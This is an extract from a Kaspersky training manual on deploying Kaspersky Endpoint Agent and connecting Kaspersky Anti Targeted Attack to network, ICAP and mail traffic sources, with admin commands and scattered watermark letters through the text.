The MSP use case also assumes that the customer's employees process their company's alerts (or
monitor processing) from the primary central node's web console. To restrict their access to other
companies’ alerts, choose which companies they can work with in the properties of their accounts.
Company-specific access is available only for security personnel accounts. An administrator created in
to
the primary central node web console has access to web consoles of all its secondary servers. It is not
possible to create an administrator for a specific company, but each secondary central node always has a
local administrator account through which the customer can change any system settings.
By default, security officer accounts are only allowed to log on to the primary central node web console,
t
where they can see aggregate information from all secondary servers. There is the SCN web interface
checkbox in the account settings, which permits logging on to a secondary central node’s web console.
No
This may be necessary for changing individual settings of a server such as YARA rules or custom IDS
rules, which are loaded to each server independently.
92
Administration
If distributed mode is used within a single company where access control is not required, all security
ed
officer accounts can access all alerts via the primary central node console.
ut
ibr
st
di
re
or
d
3.5 Kaspersky Endpoint Agent installation

e
pi
co
be
t to
No
93
Administration
In Kaspersky EDR Expert, the central node receives telemetry from endpoint agents, analyzes it and
ed
sends response commands initiated by security personnel to the endpoint agents. However, the central
node does not have any tools for remote installation, activation and configuration of endpoint agents.
We recommend that you install and manage endpoint agents using Kaspersky Security Center. Endpoint
ut
agents can also be deployed and configured without KSC, but KSC simplifies everything a lot.
Kaspersky Security Center enables you to:

— Create installation packages for Kaspersky Endpoint Agent;
ib
— Remotely install Kaspersky Endpoint Agent;
— Activate Kaspersky Endpoint Agent with a key or activation code;
— Propagate the central node connection settings to all endpoint agents;
r
— Receive events about endpoint agents’ operation and status.
st
Kaspersky Security Center even duplicates some of the response functions. The KSC console enables
you to isolate a computer from the network or revoke isolation, create and run indicator of compromise
scan tasks.
di
The results of IoC scan tasks created through the KSC console are only available in the KSC console.
They are not sent to the Kaspersky Endpoint Detection and Response central node.
re
or
e d
pi
co
be
You can install Kaspersky Endpoint Agent either in a centralized manner via KSC, or from its distribution
to
package (locally or remotely). Even if KSC is not used at your company, it is advisable to install it for KEA
deployment, given that it does not require purchasing any additional licenses.
t
No
94
Administration
Installation using KSC
ed
ut
ibr
st
di
re
or
To install Kaspersky Endpoint Agent, use a remote installation task or wizard for the Kaspersky Endpoint
d
Agent installation package.

e
There are many methods to start the remote installation wizard in Kaspersky Security Center, and its
steps will slightly vary depending on the context. For details, consult technical training KL 002 ‘Kaspersky
Endpoint Security and Management’ or Kaspersky Security Center documentation.
pi
Here, we will study how to install Kaspersky Endpoint Agent on a computer presuming that the Kaspersky
Security Center Network Agent is already installed on it.
co
First, download the Kaspersky Endpoint Agent 3.14 for Windows package to Kaspersky Security Center.
be
t to
No
95
Administration
ed
ut
ibr
st
di
re
or
Then add the Kaspersky Endpoint Agent 3.14 plug-in to the Kaspersky Security Center web console.
e d
pi
co
be
t to
Create a remote installation task and make sure the installation has succeeded.
No
96
Administration
ed
ut
ib
r
st
di
re
or
After a successful installation, Kaspersky Endpoint Agent will appear in the list of managed applications in
the computer properties in the Kaspersky Security Center console.
In the properties of a managed computer in the Kaspersky Security Center console, you can:
d
— Click the Events button to display Kaspersky Endpoint Agent events.

Events can help you troubleshoot issues. Kaspersky Endpoint Agent events are only available in
e
Kaspersky Security Center and are not available in the Kaspersky Endpoint Detection and
Response web console.
pi
— Check Kaspersky Endpoint Agent settings in Applications | Kaspersky Endpoint Agent |

Application Settings.
co
Pay attention to the Components section in the Kaspersky Endpoint Agent properties. The
module responsible for interaction with the Kaspersky Endpoint Detection and Response central
node is named Threat Detection and Response. After you configure connection to the central
node and activate Kaspersky Endpoint Agent with a license key, this module should have the
Running status.
—
be
Stop and start Kaspersky Endpoint Agent using the buttons located above the list in the
Applications section.
To stop or start Kaspersky Endpoint Agent on several computers simultaneously, use the KSC task Start
or stop application.
to
To display Kaspersky Endpoint Agent events from all (or some) computers, create an event selection on
the Monitoring & Reporting | Event Selections page of Kaspersky Security Center web console and
configure event filtering conditions.
t
No
97
Administration
Local installation of Kaspersky Endpoint Agent
ed
Local installation from a stand-alone package
ut
ibr
st
di
re
or
d
To install KEA from a stand-alone package, first create the stand-alone package in KCS, then deliver it to
e
the host and start the installation.

pi
co
be
t to
No
98
Administration
Local installation from an MSI package
ed
ut
rib
st
di
re
or
You can install Kaspersky Endpoint Agent locally on a computer using the installation wizard or the
command line.
d
The installation wizard starts when you run the EndpointAgent.msi file. It includes the following steps:
e
1. The first step is to accept the License Agreement and Privacy Policy.
pi
2. The second step of the installation allows you to change the installation folder for Kaspersky
Endpoint Agent executables.
By default, Kaspersky Endpoint Agent installs its executable files and libraries to %Program Files
co
(x86)%\Kaspersky Lab\Endpoint Agent. If you want the KEA files to be located in a different
folder for some reason, specify its path on the Destination folder page of the wizard. This will
not change the location of Kaspersky Endpoint Agent configuration files and other service files,
which are always stored in %ProgramData%\Kaspersky Lab\Endpoint Agent
3. The third installation step allows you to specify a key to activate the KEDR functionality in
be
Kaspersky Endpoint Agent. If the key is located in the folder from which EndpointAgent.msi was
started, the installer will pick it up automatically.
You can also activate KEA after the installation.
4. The fourth step completes the installation.
t to
No
99
Administration
Command line installation
ed
ut
ib
r
st
di
re
or
If you want to install Kaspersky Endpoint Agent without running the wizard, use the following command:
d
msiexec /i <Path to the MSI file> /qn EULA=1 PRIVACYPOLICY=1

e
Note that EULA and PRIVACYPOLICY are required parameters.

pi
Additional settings of the MSI package:

— LICENSEKEYPATH=<license key file path> allows Kaspersky Endpoint Agent to be activated
immediately after the installation.
co
— SKIPCVEWINDOWS10=1 permits skipping the check for the required Windows update on the
computer.
— ADDLOCAL=<Core, KATA, SB, All> allows you to select which components to install.
be
A detailed log is created during the installation. By default, it is located in the %TEMP% folder of the user
who started the installation. If the installation completes successfully, the following records will appear at
the end of the log: “Product: Kaspersky Endpoint Agent – Installation completed successfully” and
“Installation success or error status: 0”.
t to
No
100
Administration
Installation results
ed
ut
r ib
st
di
re
or
By default, the product is installed to the folder %ProgramFiles%\Kaspersky Lab\Endpoint Agent. The
following services will appear in the list of services:
d
— Kaspersky Endpoint Agent (system name: soyuz);

—
e
Kaspersky Sandbox integration (system name: angara);

— KATA integration (system name: vostok).
pi
They start automatically under the Local System account.
The executable files of these services are soyuz.exe and proton.exe. Don't be surprised when you
co
encounter these file names in the list of processes.
Kaspersky Endpoint Agent has a self-defense mechanism that blocks attempts of third-party processes
to:
— Modify, delete, or change access rules for executable and service files.
be
— Modify or delete product settings7 in the Windows registry.

— Stop or restart the service part of the product or change the account for starting the service part.
— Modify executable modules loaded into memory.
Kaspersky Endpoint Agent installs two drivers to collect telemetry from the computer:
to
— klncap.sys collects network events such as establishing incoming and outgoing connections,
opening ports, and others
— klsnsr.sys collects various events about activities on the computer:
— File creation;
t
— Running processes;
— Changes in the Windows registry;
No
7 The central node address and connection port are not included in the self-defense scope.
101
Administration
— Keyboard input in command shells;
ed
— Events added to Windows logs;
— And some others.
Both drivers use Event Tracing for Windows (ETW) to collect events.
ut
Data collection is regulated by special filters that define monitoring areas (disk, registry, event logs, etc.)
and exclusions. The Kaspersky Endpoint Security update task can update these filters. In other words,
the list of events that endpoint agents collect and send to the central node is not hard-coded, it may
ib
change over time, for example, when Kaspersky experts analyze new targeted attacks and methods used
by attackers.
r
st
di
re
or
e d
pi
co
By default, the folder with Kaspersky Endpoint Agent executables is located at %Program Files
(x86)%\Kaspersky Lab\Endpoint Agent. agent.exe is an important KEA executable module that provides
interface for command line management. We will tell you why it is necessary and how to use it later in this
course.
be
Kaspersky Endpoint Agent settings and service data are located in the
folder %ProgramData%\Kaspersky Lab\Endpoint Agent. It is useful to know about the following folders:
— %ProgramData%\Kaspersky Lab\Endpoint Agent\4.0\Bases contains update files for the
Endpoint Agent. You can check the file dates to find out when the agent was last updated.
— %ProgramData%\Kaspersky Lab\Endpoint Agent\4.0\Settings contains endpoint agent
to
configuration files in XML format. Among other settings, you can find telemetry collection filters
here.
— %ProgramData%\Kaspersky Lab\Endpoint Agent\4.0\Policy contains the settings of the policy
configured on Kaspersky Security Center. The file dates show if the agent's policy has been
t
changed recently.
—
No
%ProgramData%\Kaspersky Lab\Endpoint Agent\4.0\Cache\{Queue,Images}\Kata contains data

to be sent to the central node. Pay attention to the file dates to check if the endpoint agent is
working as expected.
102
Administration
Another obvious place to consult when checking endpoint agent’s health is Windows Event Log.
ed
Kaspersky Endpoint Agent events are logged to Applications and services
logs\Kaspersky\Security\Soyuz8\Product and Applications and services
logs\Kaspersky\Security\Sensor Diagnostics\Operational. The main thing to watch out for is error
messages. In particular, you can find license validation errors here.
ut
Kaspersky Endpoint Agent local management interface
r ib
st
di
re
or
e d
pi
The agent.exe utility helps reconfigure Kaspersky Endpoint Agent and check its status. In particular,
agent.exe allows you to:
— Install or remove a license key;
co
— Stop or start the product;

— Set or adjust the central node connection settings;
— Enable or disable debug logging;
— Display the list of quarantined files, delete or restore files.
be
This is an incomplete list of capabilities. The following command outputs the complete list of commands
and parameters:
agent.exe --help
The main contexts and commands are listed at the beginning of the help output. Additional parameters for
to
each context are provided below.
The command line interface allows you to configure Kaspersky Endpoint Agent to work with the KEDR
Expert solution without using Kaspersky Security Center:
t
— Install the license key;

— Specify parameters and the certificate for connecting to the central node.
No
8 In this case, soyuz refers to the name of the Kaspersky Endpoint Agent’s service executable: soyuz.exe
103
Administration
This is important because some network computers may not be managed through Kaspersky Security
ed
Center.
Users can accidentally misconfigure settings using the command line interface; therefore, you should
restrict access to it. Of course, a persistent user with local administrator permissions and physical access
ut
to the device can damage any program. However, you can use a password to restrict access to the
agent.exe utility. You can set it in the Kaspersky Security Center policy or locally by the following
command:
ib
agent.exe –password
Integration with the endpoint protection application
r
st
di
re
or
e d
pi
co
To receive detections from endpoint protection applications via telemetry, enable the component
Integration with Kaspersky Anti Targeted Attack Platform:
— In the installation package before the installation;
be
— Using the ‘Change application components’ task.

t to
No
104
Administration
Kaspersky Endpoint Agent policy in Kaspersky Security Center
ed
Creating a policy
ut
ib
r
st
di
re
or
d
To configure the central node connection parameters through Kaspersky Security Center, create a
Kaspersky Endpoint Agent policy. It is not created automatically; the administrator should create it
manually.
e
One policy created in the Managed devices node will be sufficient for all endpoint agents connected to a
pi
single central node. If you have installed another central node and want to reconnect some endpoint
agents to the new address, move them to a dedicated group on the KSC server and create another policy
for this group.
co
Prior to creating a KEA policy, make sure the respective management plug-in is installed in the KSC
console.
To check if the KEA plug-in is installed, open the administration server properties and switch to Console
Settings | Web Plug-ins.
be
If the KEA plug-in is not installed, you can install it through the application download interface available in
the KSC Console:
1. On the side menu, go to Console Settings | Web Plug-ins;
2. Click Add and select the necessary plug-in;
to
3. Click Install plug-in.
After the plug-in is installed, create a policy for Kaspersky Endpoint Agent:
1. Go to Devices | Policies and profiles and select the target group of devices;
t
2. Click the Add button to start the policy creation wizard;

3. Select Kaspersky Endpoint Agent on the list;
No
4. Select Endpoint Detection and Response Expert (KATA EDR);

5. Name the policy clearly;
6. To enforce the policy on the target computers, select the Policy status – Active option.
105
Administration
Only active policies are enforced on computers. Inactive policies can serve as templates.
ed
You will always be able to open the policy properties and change its status from active to inactive or vice
versa.
ut
Connection settings in the policy
ibr
st
di
re
or
e d
To configure agents to connect to a central node:

pi
1. Open the properties of Kaspersky Endpoint Agent policy.

2. Go to Telemetry Collection servers | KATA integration.
co
3. Select Enable KATA integration.

4. Enter the central node address in the List of KATA servers box.
You can specify either IP address or DNS name.
The connection port does not need to be changed in most cases. The default value is 443 in
be
both the central node settings and the endpoint agent policy.
5. Save the policy settings.
But first make sure the switch in the upper right corner of the window is in the Enforce position and the
lock appears closed on the icon. If the switch is set to Undefined, the settings will not be applied.
to
This is all you need to set up in the policy to make endpoint agents connect to the central node and be
displayed in its web console.
t
No
106
Administration
ed
ut
ib
r
st
di
re
The central node can accept only secure connections from endpoint agents. Additionally, endpoint agents
or
establish secure connections only to a trusted central node. This protects endpoint agents from non-
legitimate response commands.
For a central node to be trusted, the central node certificate must match the certificate specified in the
Kaspersky Endpoint Agent settings.
d
To specify the node’s address and certificate, either use a policy in Kaspersky Security Center or run the
e
agent.exe utility with parameters.

pi
co
be
t to
No
107
Administration
You can download the certificate of the central node in the Settings | Certificates | Server Certificate
ed
section of the web interface.
After that, open the KEA policy, go to Telemetry Collection servers | KATA integration, select Use
pinned certificate to secure connection and add the downloaded certificate. The policy will show
ut
information about this certificate.
ib
r
st
di
re
or
e d
If certificates are not used, the central node accepts connections from any agent.
pi
You can improve security by configuring the central node to verify the agent's certificate. In this case, not
only the endpoint agent will authenticate the central node’s certificate, but the central node will also verify
the authenticity of the certificate with which the agent connects. As a result, the central node will not
co
accept connections from unknown agents (meaning, agents that connect with an unknown certificate).
To use this connection mode, enable it on the central node and in the endpoint agents’ settings. This
mode is disabled everywhere by default. Additionally, you need to create a certificate for endpoint agents
(a certificate and its private key) and then specify this certificate in the central node settings and in the
endpoint agents’ settings. In this scheme, all agents use the same certificate.
be
t to
No
108
Administration
ed
ut
ibr
st
di
re
or
You can download the client certificate from the web interface of the central node, on the Settings |
Certificates | Endpoint Agent Certificates page. The certificate will be downloaded in the pfx format.
e d
pi
co
be
t to
No
After that, open the KEA policy, go to Telemetry Collection servers | KATA integration, select Secure
connection with client certificate and add the downloaded certificate.
109
Administration
Configuring agents that are not connected to Kaspersky Security
ed
Center
ut
ibr
st
di
re
or
d
You can configure all Kaspersky Endpoint Agent settings available in the policy locally too, using the
agent.exe utility. This method comes in handy when configuring Endpoint Agent on computers that are
e
not connected to Kaspersky Security Center.

pi
To configure connection to the central node, run agent.exe with the --message-broker=enable
parameter. The address and certificate of the central node are specified by additional parameters:
— --type=kata specifies the connection type; it is required
co
— --servers=<central node address>:<agent connection port>

— --pinned-certificate=<path to the central node TLS certificate in the CRT format>
The full command will look like this (a single line):

be
agent.exe --message-broker=enable --type=kata --servers=10.10.10.10:443

--pinned-certificate=kata.crt
To use a client certificate, add the following parameter:
--client-certificate=<path to the client certificate in the pfx format>

to
Even if you just want to change one of the parameters, repeat the main parameter --message-
broker=enable and the parameter --type=kata. For example, to add a client certificate, use the
following command:
t
agent.exe --message-broker=enable --type=kata --client-

No
certificate=client.pfx
110
Administration
ed
ut
ibr
st
di
re
or
To display the configured settings, carry out
agent.exe --message-broker=show
d
When reading the output, pay attention to the following parameters in addition to those listed above:
— kata.tls — the expected value is true if secure connection is enabled
e
— kata.use_pinned_certificate — the expected value is true if central node certificate

verification is enabled
pi
— kata.use_client_certificate — the expected value is true if client certificate validation

is enabled on the central node; otherwise, the expected value is false
In a large network without Kaspersky Security Center, you can use a logon script in a group policy to
co
configure endpoint agents.

be
t to
No
111
Administration
Protection against interference with Kaspersky Endpoint Agent
ed
ut
ib
r
st
di
re
or
Since the agent.exe utility has extensive functionality, it is a good practice to protect it with a password.
d
To do so, open the KEA policy, go to Application Settings | Application settings | Security settings
and select Apply password protection, then set the password.
e
pi
co
be
t to
No
112
Administration
Activating Kaspersky Endpoint Agent
ed
Activation using KSC
ut
r ib
st
di
re
or
d
To activate Kaspersky Endpoint Agent via Kaspersky Security Center, you can use one of the following
e
methods:
—
pi
Enable automatic deployment for the Kaspersky Endpoint Detection and Response key.
This will install the key on all managed computers.
— Deploy the key with a special key installation task.
co
This allows you to select target computers.

— Add the key to the installation package prior to the installation.
This way, the endpoint agent will be activated immediately after the installation. This method is
good for initial deployment, but is not very useful when you need to replace an expired key.
be
In all three cases, add your key to the key storage on the KSC administration server in advance:
1. In the KSC console, go to Operations | Licensing | Kaspersky Licenses.
2. Click Add | Add key file.
to
3. Click the button Select key file to specify the Kaspersky Endpoint Detection and Response key
file, the same that you used to activate the central node.
You can also enable automatic key distribution to managed computers here: select the
Automatically distribute license key to managed devices checkbox. This checkbox is also
t
available in the key properties.

No
A key for which automatic distribution is enabled will be automatically delivered to all computers
connected to the administration server where Kaspersky Endpoint Agent is installed. The key is
distributed when the KSC agent synchronizes with the KSC server (once every 15 minutes by default).
113
Administration
The key is sent only to those computers where Kaspersky Endpoint Agent has not yet been activated.
ed
Automatic distribution does not replace a previously installed key with the new key if the old one is still
valid.
Automatic distribution is the easiest to configure, but it is not flexible enough. If you want to replace a
ut
previously installed key with a new one while the old key has not expired yet, or if you want to install the
key only on some specific computers, automatic key distribution will not help.
Why might anybody need to install a key only on some specific computers? Think about a service
ib
provider that has multiple customers. In this case, they will have multiple licenses as well, one per each
customer, and it will be important to activate Kaspersky Endpoint Agent on each customer’s computers
with their license key. KSC provides several ways to solve this issue and one of them is to use key
installation tasks where you can specify the list of target computers.
r
st
Another example is a company where all network endpoints use Kaspersky Sandbox, and some of them
additionally use Kaspersky Endpoint Detection and Response. Both solutions use the same Endpoint
Agent installed on all machines. However, the Kaspersky Endpoint Detection and Response license key
must only be installed on some particular computers to ensure that the license limit is not violated.
di
To install Kaspersky Endpoint Detection and Response key by a task:
1. Go to Devices | Tasks in the KSC console.
re
2. Click Add to create a new task.
3. In the wizard, select the Activation of application task type under Kaspersky Endpoint Agent.
4. Select the computers where you want to activate Kaspersky Endpoint Agent.
or
You can select individual computers from the KSC structure of managed devices, a group of
computers, or specify computers’ names or IP addresses.
5. Select the option Activate with a key file or code9 and then click the button Select to specify
the key.
d
You can either select a key from the administration server storage or specify the path to a key
file on the disk.
e
The wizard checks whether the key can be used with the selected application and its expiration
pi
date. You cannot create an activation task with an invalid key.

In the same step, you can select the Add this key as an additional checkbox. This mechanism
ensures that the endpoint agent operates continuously after the current key expires. If you install
co
a new key as an additional key in advance, the endpoint agent will continue to use the old key
until it expires and then will immediately switch to the new key.
6. Finish creating the task, run it and wait for the results.
Another way to activate Kaspersky Endpoint Agent via Kaspersky Security Center is to place the key into
be
the installation package.
In the package properties, you can specify only a key, a code cannot be specified.
t to
No
9You can activate Kaspersky Endpoint Agent with a code as well; however, since a central node can only be activated with a
key, we consider activation with a key as the main use case
114
Administration
Activation via the command line
ed
ut
ibr
st
di
re
or
To activate Kaspersky Endpoint Security without KSC, use the agent.exe command line interface on the
target computer. You can specify either key or code:
d
agent.exe --license add=<code or path to the key file>

e
For activation with a code to succeed, the computer must have access to Kaspersky activation servers on
pi
the internet.
To install an additional key (or code), use the following command:

co
agent.exe --license reserve=<activation code or path to the key file>
To display information about the current license, carry out the following command:
agent.exe --license show

be
To delete an installed key or code (prior to replacing it with a new one), execute the following command:
agent.exe --license delete=<license serial number that the show command

returns>
t to
No
115
Administration
Successful installation and proper configuration of Kaspersky
ed
Endpoint Agent: expected result
ut
ibr
st
di
re
or
d
Once you have installed endpoint agents, connected them to the central node and activated, the agents
are ready to operate. You can check the agents’ health from the Kaspersky Security Center console or
e
from the central node web console. Different tools provide different information about the agent's work.
pi
To check the status of Kaspersky Endpoint Agent installation on all computers, use the Kaspersky
software version report. To check the status of the Threat Detection and Response module, use the
report about status of Kaspersky application components. Consult Monitoring & Reporting | Reports.
co
be
t to
No
116
Administration
ed
ut
ibr
st
di
re
or
In the central node web console, connected agents are displayed on the Endpoint Agents page, where
you can see their status and license availability. To check if the central node receives telemetry from
agents, on the Threat Hunting page, enter a request that will for sure match expected telemetry, for
example: HostIP != 1.1.1.1
e d
pi
co
be
t to
No
117
Administration
If an endpoint agent cannot connect to the central node for some reason, you will understand this by the
ed
Last connection parameter. If the agent does not connect for more than a day, its status changes to
Warning, and after 7 days, to Critical.
Additionally, the central node web console displays the activation status of each endpoint agent. If a
ut
license key is not installed or has expired, the License key status will show this.
The central node does not display an authentication error if, for example, an agent tries to connect with a
wrong client certificate, or without a client certificate, or cannot connect because the central node
ib
certificates mismatch.
r
st
di
re
or
e d
pi
To check whether Kaspersky Endpoint Agent is running locally on a computer, carry out the following
co
command: agent.exe --product state. To check the central node connection settings, use the
command: agent.exe --message-broker show
To check the agent's activation status, run the command:

be
agent.exe --license show
To verify that the endpoint agent is collecting telemetry to be sent to the central node, execute the
command:
agent.exe --message-broker stats

to
This command shows how many (and which) events the endpoint agent logged. Pay special attention to
the Throttled category. These are events that the endpoint agent discarded and has not sent to the
central node because the telemetry collection quota was exceeded. You can configure event quotas in
the Kaspersky Endpoint Agent policy.
t
No
118
Administration
To see all possible errors of the agent's connections to the central node, carry out the following command
ed
to enable tracing:
agent.exe --trace enable --folder <path to an existing folder where

logs will be stored>
ut
Look for connection errors within the log of the proton.exe process. For example, search for the IP
address of the central node, or for the error or failed words.
ib
Kaspersky Endpoint Agent update task
r
st
di
re
or
e d
pi
co
A Kaspersky Endpoint Agent update task is not created by default, but it is required, and you need to
create it manually to be able to receive filters for collecting telemetry and KSN connection parameters.
To create it, go to Tasks | + Add | Kaspersky Endpoint Agent | Databases and Modules Update.
be
t to
No
119
KL 025.5: Kaspersky Anti Targeted Attack. Kaspersky Endpoint Detection and Response. 4. KATA operation
Administration
4. KATA operation
ed
ut
4.1 Connecting to traffic sources
ib
To forward data to Kaspersky Anti Targeted Attack Platform for analysis, configure the network devices,
mail gateways and proxy and mail servers on the infrastructure side.
A KATA sensor can use one, a few or all integration types. If you need to process several types of traffic,
r
but a single sensor is insufficient because of the infrastructure specifics, deploy two or more sensors. The
st
central node can act as a sensor too, if necessary.
Kaspersky Secure Mail Gateway and Kaspersky Security for Linux Mail Server can also supply mail traffic
to a central node. And Kaspersky Web Traffic Security can supply web traffic.
di
Network traffic
re
or
e d
pi
co
be
You can copy network traffic using either SPAN or ERSPAN technology, depending on the network
to
architecture.
t
No
120
Administration
Connection
ed
ut
ibr
st
di
re
or
We recommend that you use a dedicated interface to receive mirrored traffic (or a few interfaces, to
receive traffic from different sources).
d
Mirroring is the duplication of packets from one or more ports on a network switch to a dedicated interface
e
connected to the analyzer. It is used to monitor traffic for security purposes or to evaluate performance of
the equipment.
pi
To receive mirrored traffic, one of the sensor network interfaces is switched to ‘promiscuous’ mode and is
connected to a mirror port on the switch. In non-promiscuous mode, an Ethernet interface filters link layer
packets. When it receives a frame, it drops it unless the frame is addressed to that interface's MAC
co
address or is a broadcast addressed frame. When connected to a mirror port, the network card will
receive a huge amount of packets destined for other network endpoints. To ensure that packets are not
discarded, the interface is switched to promiscuous mode, whereby it begins to accept all packets.
To activate traffic capturing on the central node, go to Sensor servers, open the properties of the built-in
sensor of the central node — localhost — and switch to the SPAN traffic processing section. Enable
be
SPAN traffic scanning for the necessary interface and select Capture thread.
t to
No
121
Administration
ed
ut
ib
r
st
di
re
or
To activate traffic capturing on the sensor, in its text console, open Program settings | Configure traffic
capture | Setup capture interfaces. Then select the interfaces for traffic capture and press ENTER.
If the sensor (or central node) is a virtual machine, allow promiscuous mode in the settings of the virtual
d
switch that the interface receiving mirrored traffic is connected to.
Once you have configured the sensor or central node to receive traffic for analysis, route traffic to the
e
appropriate interfaces of Kaspersky Anti Targeted Attack servers.

pi
Enable traffic mirroring on the network switch through which inbound and outbound traffic passes. The
KATA platform is not designed to scan internal network traffic; therefore, sensors are not connected to
access-layer switches.
co
Connect the sensor interface that is set to promiscuous mode to a mirror port on the switch. Several
interfaces can be activated on the sensor to receive traffic from several ports of the same switch or from
several switches.
Traffic can be mirrored using SPAN, RSPAN, and ERSPAN technologies; you can also receive a raw
be
copy of traffic via a TAP device.

t to
No
122
Administration
Health check
ed
ut
ibr
st
di
re
or
You can consult the administrator's web console to check whether Kaspersky Anti Targeted Attack is
receiving mirrored traffic.
d
First of all, make sure traffic capturing is enabled. For this purpose, open the Sensor servers section
e
where dedicated sensors are displayed along with the sensor integrated into the central node. A check
mark in the SPAN column indicates that a traffic capturing interface is configured on the sensor.
pi
To verify that not only traffic capture is enabled, but also traffic is actually being scanned, look at the
Dashboard. If you select the SPAN interface source in the Processed widget, it will show the volume of
traffic received through the SPAN interface. Each SPAN interface is a separate source.
co
To additionally verify that Kaspersky Anti Targeted Attack analyzes traffic and retrieves objects for
scanning, pay attention to the URLs and Files values in the Processed widget.
Alternatively, you can email or download over HTTP an EICAR test file and check if an alert with the
be
SPAN source appears in the security specialist's console.
Pay attention to the error messages at the top of the Dashboard page. They may include errors related
to processing mirrored traffic: for example, packet loss messages. In this case, check the load on the
sensor (or central node) resources and make sure the hardware configuration of the sensor (central
node) is commensurate with the traffic volume.
t to
No
123
Administration
Configuring a pcap filter for raw traffic
ed
ut
ib
r
st
di
re
or
To exclude some traffic from scanning, you can use a pcap filter.
d
Save the settings into a file for editing:

e
sudo console-settings-updater get

/kata/configuration/product/preprocessor_span | python3 -m json.tool >
pi
/tmp/1
Open the resulting file in a text editor, edit the pcap_filter section and upload it back:
co
sudo console-settings-updater set

/kata/configuration/product/preprocessor_span @/tmp/1
be
t to
No
124
Administration
ICAP traffic
ed
Operation principles
ut
ibr
st
di
re
The Internet Content Adaptation Protocol (ICAP) was initially developed to provide anti-malware
or
protection and content filtering for internet access via a proxy server, but later it became more
widespread. Today it is used to detect malicious content in data storage systems, capture traffic in case
of integration with data leakage prevention systems, etc.
It employs a client-server interaction model. The ICAP client is an endpoint through which traffic is
d
relayed. The system that performs analysis and processing is the ICAP server. The server receives data
from the client, processes them and returns the result to the client.
e
The decision about which data to forward to the server for processing is taken on the client side and
pi
depends entirely on its implementation. The operating mode is also determined on the client side. To
interact with a sensor, the proxy server must be switched to Response Modification (RESPMOD) mode. A
sensor can analyze data from several ICAP clients.
co
Cybercriminals can use a secure channel to bypass firewalls and proxy servers that have anti-malware
protection. When they connect to an endpoint inside the network, they send a command to download a
malicious object or copy sensitive information. These connections are checked on the proxy server side
based on the man-in-the-middle technique.
be
Secure connection scanning works as follows: when a user enters a website name beginning with HTTPS
in a browser, the corporate proxy server accepts the connection from the client and establishes a
connection with the web server, starting a TLS session. The proxy server receives a certificate from the
web server to set up an encrypted channel. But instead of forwarding this certificate to the client, the
proxy server generates its own certificate and sends it to the client to set up the channel. After the secure
connection is established, all data that the end user accesses on a web server are decrypted on the proxy
to
server, inspected, then encrypted again (with a different key) and forwarded to the client. What is
important is that the proxy server must support this mechanism and the clients must trust its certificate. If
the mechanism is supported, extracted objects will be sent to sensor for analysis.
Note that a sensor receives less information via ICAP than when connected through the SPAN port due
t
to restrictions imposed by the protocol. However, it is an important source of information that should not
No
be neglected, especially when talking about HTTPS traffic.
125
Administration
Connection
ed
ut
ib
r
st
di
re
or
Decide whether to use integration with the proxy server via ICAP. If yes, all interfaces not set up to
receive mirrored traffic can accept objects from the proxy server.
d
ICAP integration with proxy may be required, for example, to be able to scan files and links in secure
e
HTTPS traffic. Kaspersky Anti Targeted Attack sensors cannot analyze secure HTTPS protocol in
mirrored traffic as it is. However, an organization can configure its proxy server to decrypt HTTPS and
pi
transfer files from traffic to Kaspersky Anti Targeted Attack for scanning via ICAP.
Generally, the sensor can accept files to be scanned via ICAP not only from a proxy server, but also from
any system that supports ICAP. For example, many storages can submit files being accessed for
co
scanning via ICAP. However, you should take into account the resulting additional load on Kaspersky Anti
Targeted Attack servers. Kaspersky experts can advise on licensing and hardware requirements for this
use case.
To make Kaspersky Anti Targeted Attack analyze objects passing through the proxy server, activate
be
ICAP on the proxy server, and specify the address of the ICAP server where objects are to be delivered.
The operating mode is Response modification.
You can find the address of the Kaspersky Anti Targeted Attack ICAP server on the central node in
Sensor servers | localhost (or another connected sensor) | ICAP integration with proxy server. The
address is displayed in the following format: icap://<sensor IP address>:1344/av/respmod
to
On many proxy servers and appliances, it is sufficient to activate the functionality of the ICAP client and
specify the server address.
t
No
126
Administration
In Squid, for example, ICAP protocol is configured in the squid.conf 10 configuration file as follows:
ed
icap_enable on
icap_send_client_ip on
icap_service service_resp respmod_precache bypass=1 icap://<sensor IP
address>:1344/av/respmod
ut
adaptation_access service_resp allow all
By default, a sensor supports up to 5,000 simultaneous ICAP connections.
rib
st
di
re
or
e d
pi
You can also enable ICAP integration using the sensor console: go to Program settings | Configure
ICAP integration and select Enabled.
co
be
t to
No
10 Typically, the path is /etc/squid/squid.conf
127
Administration
ed
ut
ib
r
st
di
re
or
It is also possible to extract user data from the ICAP protocol: User Agent, User Name.
Health check
d
You can make sure ICAP traffic is processed in the same way as with other network data sources:
e
1. In the Sensor server section of the administrator's web console, verify that at least one sensor
has the ICAP mark.
pi
2. On the Dashboard, select the ICAP source and make sure data is being processed and URLs
and Files values are increasing.
co
You can also download the EICAR test file over HTTP (or HTTPS if encrypted traffic scanning is
configured on the proxy server) and check if an ICAP alert appears in the security specialist's web
console.
be
t to
No
128
Administration
Email messages
ed
ut
r ib
st
di
re
or
It is important to choose the best method of integration with the mail system when deploying Kaspersky
Anti Targeted Attack. Kaspersky Anti Targeted Attack can receive email messages for scanning in
d
several ways:
— SPAN (pre-processing non-encrypted SMTP).
e
KATA preprocessor11 (on a sensor or central node that has the sensor role) recognizes the
SMTP protocol in a mirrored copy of traffic and can extract email messages from it.
pi
You can use this integration method only for mirrored traffic with non-encrypted SMTP protocol.
This situation is not rare. Although SMTP secured with TLS should be preferred, in practice,
encryption is often used only at the mail gateway level for connections to external SMTP servers,
co
while non-encrypted SMTP traffic, which is easier to analyze, is used within the network.
Anyway, it makes sense to use this integration only if all other integration methods cannot be
used for some reason. SPAN traffic is unreliable. Quality of Service (QoS) policies are typically
used on contemporary network equipment. According to such a policy, different packets have
different processing priority on the router or switch. Mirrored traffic is non-critical for the network
be
operation and usually has the lowest priority. Under high load, network equipment will drop
mirrored packets first, and KATA will not be able to correctly extract messages.
— POP3.
The administrator configures the mail system to send a hidden copy of all messages to a special
to
mailbox in the organization's domain and also configures the sensor or central node to pick up
messages from that mailbox using the POP3S protocol.
This method fits all email systems where you can create a rule to forward a hidden copy to a
dedicated inbox. In particular, Microsoft Office 365.
t
No
11 A special module responsible for parsing raw traffic
129
Administration
On the other hand, customer’s IT and IS departments don't always readily agree to use POP3. It
ed
is an old protocol, which has security issues. It is often completely disabled in the customer’s
mail system.
— SMTP.
ut
The administrator configures the mail system to send a hidden copy of all messages to a mailbox
in a fictitious domain and specifies the sensor (or central node) as the mail server for this
fictitious domain. At the same time, the administrator configures the sensor (or central node) to
receive SMTP email.
ib
